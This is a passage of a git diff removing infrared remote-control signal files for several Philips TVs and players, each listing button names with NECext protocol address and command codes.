00 -command: 43 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 4B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 4E 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 5B 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 85 00 00 00 -# -name: TC -type: parsed -protocol: NECext -address: 30 00 00 00 -command: C8 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: CF 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: EE 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 30 00 00 00 -command: F7 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: FA 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir deleted file mode 100644 index feeacb8b5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 52 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 55 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: Index -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 70 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir deleted file mode 100644 index f2e17185c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: audiodown -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 00 00 00 00 -# -name: int/ext -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 01 00 00 00 -# -name: dec -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 03 00 00 00 -# -name: mo/st -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 06 00 00 00 -# -name: audioup -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 07 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 10 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 11 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 12 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 15 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 17 00 00 00 -# -name: h/v -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 19 00 00 00 -# -name: dev -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1A 00 00 00 -# -name: p-aud -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1D 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 8A F5 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir deleted file mode 100644 index 1c809be07..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: SURF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: TEXT_REVEAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: TEXT_STOP_SEQUENCE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: TEXT_CLOCK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: TEXT_ENLARGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: EXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: TEXT_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: PICTURE_SETTINGS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: SOUND_SETTINGS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: GAME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir deleted file mode 100644 index b04cfe7e5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: DEMO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: SCENEA -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: AD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 70 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 9F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CC 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F3 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F4 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir deleted file mode 100644 index f269e02b3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: Previous_channel -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: MHEG_Cancel -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: Dual_Screen -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 70 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CC 00 00 00 -# -name: Picture_Format -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir deleted file mode 100644 index d7f93944f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_1- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_2- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: show_settings -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: brightness_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: brightness_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: contrast_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: contrast_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: bass_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: bass_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: trebble_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: trebble_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: skip_forward -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: txt_hold -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: txt_clock -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: txt_enlarg -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: txt_question -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: txt_cross -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: txt_half -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: bell_off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: xmark -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: arrows -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: bell_on -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: txt_on -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: txt_off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir deleted file mode 100644 index 471680d3b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_1- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: Brightness_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: Brightness_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: Contrast_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: Contrast_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: Search_programm -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: Skip_back -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: Skip_forw -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: Forw -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir deleted file mode 100644 index e43976256..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir +++ /dev/null @@ -1,542 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: S_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: S_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: S_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: S_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: S_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: S_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 